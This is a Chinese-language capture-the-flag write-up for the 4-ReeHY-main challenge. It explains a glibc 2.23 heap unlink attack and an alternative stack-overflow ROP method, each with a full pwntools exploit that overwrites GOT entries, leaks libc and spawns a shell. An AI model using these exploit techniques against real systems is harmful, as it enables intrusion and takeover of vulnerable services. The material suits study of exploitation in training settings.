例题:攻防世界 4-ReeHY-main
当一个chunk释放为unsort bin时会检查上下是否为free chunk,如果上为free chunk则发生合并、合并后会调用unlink函数:(2.23)
/* consolidate backward */
if (!prev_inuse(p)) { //当前的p标志位为0(上个chunk free)
prevsize = p->prev_size;
size += prevsize; //本chunk的size + 上个chunk的size 实现大小合并
p = chunk_at_offset(p, -((long) prevsize));//移动chunk指针至上个chunk的位置、实现合并指针操作、那么当前chunk将消失作为上个chunk的一部分
unlink(av, p, bck, fwd);
}
#define unlink(AV, P, BK, FD) {
FD = P->fd; //下一个chunk指针 = fd 0x6020c8
BK = P->bk; //上一个chunk指针 = bk 0x6020d0
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))//如果下一个chunk的bk不是我|上一个的fd不是我 则报错
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK; //下一个chunk->bk = BK(本来是指P)
BK->fd = FD; //上一个chunk->fd = FD(本来是指p)这个操作原来是用于将p这个chunk从unsort bin中拿出去,但是这个操作可以用来给我们写入数据,这里就是将
//重点是BK->fd = FD这句它将BK->fd 也就是0x6020e0 = FD(0x6020c8)
//成功将它指向了它上面0x18的地址处,这时如果0x6020c8可以写入数据,那么写入数据后就可以进行覆盖原来的ptr了
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
//.....larg chunk操作....
}
}
关键函数:
init_malloc
add
del
edit
那么知道漏洞后就梳理利用思路
- 没有后门函数、需要泄漏libc
- 没有程序控制流函数,需要修改got表
这题不讲原理,我也是第一次接触unlink边学边练原题目链接:https://blog.youkuaiyun.com/seaaseesa/article/details/102907138
做题思路如下:
- 首先申请2个small chunk,因为当一个非fast bin释放时会检查前后的堆块,如果是free chunk则将那个free chunk从bins里面取出来,然后把自己合并进去拿出来的free chunk再放入unsort bin
- 然后再申请一个随便大小chunk,为了防止合并进top chunk(我为了看效果,也可不申请)
#start
sla('$','admin')
add(0x100,0,'A'*(0x100-1)) #填满数据以便观察chunk空间
add(0x100,1,'B'*(0x100-1))
add(0x10,2,'C'*(0x10-1)) #防止合并后被放入top chunk(不写也没事)
#raw('初始化两个chunk 以便以后对它进行操作')
- 正常来说free(chunk0)就是free如图1:但是因为在add函数中ptr_array中存储单位是QWORD如图2:从图1中可以看出来ptr_array_size距离chunk0有0x10大小,那么刚好就是2个单位,这时free(chunk0 - 2)就可以释放ptr_array_size,加上uaf的漏洞,可以修改它的大小进行实现堆溢出,那么就满足了unlink的前提条件
dele(-2)
payload = p32(0x100 + 0x8 + 0x1)# 给下面堆溢出到下个chunk的头部创造空间、这里就可以刚刚溢出到下个chunk的 pret_size + p标志位
add(0x10,'3',payload)
- 构造fake chunk 如下,那么现在伪造的fake chunk就在chunk0的user data部分,如下:
target = 0x6020E0 #伪造的chunk
fake = p64(0) + p64(0x101) #prve_size + size(p = 1)
fake += p64(target-0x18) + p64(target-0x10) #ptr[0]会指向fd的地址处
fake += 'a' *(0x100 - (4 * 0x8))#填充空间
fake += p64(0x100) + '0' #这里是溢出到了chunk1部分,prve_size=0x100表示上一个chunk大小只有0x100(原来有0x110因为我们写入的数据是从user data部分开始的)p=0 表示上个chunk free
edit(0,fake) #将fake chunk放入chunk0
- 调用dele(1)这时free chunk1时发现前一个chunk0也是free状态那么就会发生合并,从而触发unlink进行赋值,unlink前的目标地址如图1,unlink后如图2。到这里就成功的将chunk0的位置处指向了我们想要指向的地址
dele(1)
- 好,那么现在我们编辑chunk0那就是编辑0x6020c8,因为0x6020c8距离0x6020e0就是0x18的距离,那么因为我们写入数据过长就可以溢出到后门的地址了,从而实现覆写地址
fake = p64(0)
fake += p64(0) + p64(0)
fake += p64(free_got) + p64(1) #这里就填充到了0x6020e0 ,p64(1)表示这块内存在使用状态,只有是使用状态才可以编辑它,后门才可以修改got值
fake += p64(puts_got) + p64(1)
fake += p64(atoi_got) + p64(1)
edit(0,fake)
-
泄漏libc,因为程序中没有控制流的函数,就只能修改got表劫持流程了,这里修改free的got表为puts@plt就可以实现调用puts函数了
edit(0,p64(puts_plt)) #修改free@got的值为puts@plt dele(1) #调用free 则是 free->puts@plt leak = uu64(ru('\n')[:-1]) success('leak puts',leak) libc_base = leak - libc.symbols['puts'] success('libc',libc_base)
8.最后通过修改atoi函数为system然后控制台输入’sh’则可以getshell
#system edit(2,p64(libc_base + libc.symbols['system'])) sa('$ ','sh\x00')
完整exp:
# -*-coding:utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')
binary = "./4-ReeHY-main"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("47.108.195.119","20113")
e = ELF(binary)
#libc = ELF(libc_file)
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def dbg():
gdb.attach(p)
pause()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)
def raw(s):
log.success('当前执行步骤 -> '+s)
pause()
def add(size,cun,content):
sla('$','1')
sla('\n',str(size))
sla('\n',str(cun))
sla('\n',str(content))
def dele(idx):
sla('$','2')
sla('\n',str(idx))
def edit(idx,content):
sla('$','3')
sla('\n',str(idx))
sa('\n',str(content))
#start
sla('$','admin')
add(0x100,0,'A'*(0x100-1))
add(0x100,1,'B'*(0x100-1))
add(0x10,2,'C'*(0x10-1)) #防止合并后被放入top chunk(不写也没事)
#raw('初始化两个chunk 以便以后对它进行操作')
dele(-2)
payload = p32(0x100+0x8 +1) #给下面堆溢出到下个chunk的头部创造空间
add(0x10,'3',payload)
#raw('改变ptr_sieze 规定大小,使chun0可溢出到chun1')
target = 0x6020E0 #伪造的chunk 这个地址必须是存在一个指针指向有uaf漏洞的chunk
fake = p64(0) + p64(0x101) #prve_size + size(p = 1)
fake += p64(target-0x18) + p64(target-0x10) #p-0x18 + p-0x10
fake += 'a' *(0x100 - (4 * 0x8))
fake += p64(0x100) +'0' #这里是溢出到了chunk1部分p=0 表示上个chunk free
edit(0,fake) #将fake chunk放入chunk0
raw('填入构造fake chunk 到chunk0 数据部分')
dele(1)
raw('unlink 后fake chunk 、chunk1一起进入top chunk')
free_got = e.got['free']
puts_got = e.got['puts']
atoi_got = e.got['atoi']
puts_plt = e.plt['puts']
fake = p64(0)
fake += p64(0) + p64(0)
fake += p64(free_got) + p64(1)
fake += p64(puts_got) + p64(1)
fake += p64(atoi_got) + p64(1)
edit(0,fake)
raw('edit fake')
edit(0,p64(puts_plt)) #修改free@got的值为puts@plt
dele(1) #调用free 则是 free->puts@plt
leak = uu64(ru('\n')[:-1])
success('leak puts',leak)
libc_base = leak - libc.symbols['puts']
success('libc',libc_base)
raw('leak')
#system
edit(2,p64(libc_base + libc.symbols['system']))
sa('$ ','sh\x00')
raw('system')
it()
这题也可以用栈溢出方法:
栈溢出做法:
假设这里输入-1时首先if(result <= 0x100)
它是成立的,当遇到read
函数时接收个数-1就是一个超级大的数据测试如图:
那么我们输入-1即绕过了检查又满足了我们填入rop链条的要求,之后就是一道很简单的栈溢出题目了,泄漏+getshell。需要注意的点是我们需要使它memcpy(dest, buf, nbytes);正常执行,如果nbytes还是-1的话那么函数就会运行奔溃,那么来看看memcpy的第三个参数是怎么取值的
假设我们按照之前的payload写法来看看效果
payload = ‘A’* 0x88 + ‘A’*0x8 + ‘B’ * 0x8
那么此时的值应该就是0x41414141,看看程序到了memcpy会怎么样
执行完这个函数之后:
果然,那么我们改下payload将它设置为0,因为后面还会用到rbp-8如图:所以我们直接设置8 byte的null,
泄漏的payload
payload = p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main)
add(-1,0,'A'* 0x88 + p64(0) + 'B' * 0x8 + payload)
然后就可以正常泄漏和getshell了
exp:
# -*-coding:utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./4-ReeHY-main"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","62458")
e = ELF(binary)
libc = ELF('ctflibc.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def raw(s):
log.success('当前执行步骤 -> '+s)
pause()
one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
def add(size,cun,content):
sla('$','1')
sla('\n',str(size))
sla('\n',str(cun))
sla('\n',str(content))
def dele(idx):
sla('$','2')
sla('\n',str(idx))
def edit(idx,content):
sla('$','3')
sla('\n',str(idx))
sa('\n',str(content))
def z(s='b main'):
context.terminal = ['tmux' , 'splitw', '-h']
gdb.attach(p,s)
prdi = 0x0000000000400da3
#start
z(''' b * 0x400A6E \n c ''')
sla('$','admin')
main = 0x00400C8C
payload = p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main)
add(-1,0,'A'* 0x88 + p64(0) + 'B' * 0x8 + payload) #p64(1) 是控制了memcpy(dest, buf, nbytes);的nbytes值 必须是p64(1) 在调用memcpy函数时p32(0)可以绕过但是后面的栈还会用到它 所以全部填充为0
leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
#getshell
sla('$','admin')
payload = p64(base + one[0]) #libc2.23只有one[0]才可有
add(-1,1,'A'* 0x88 + p64(0) + 'B' * 0x8 + payload)
it()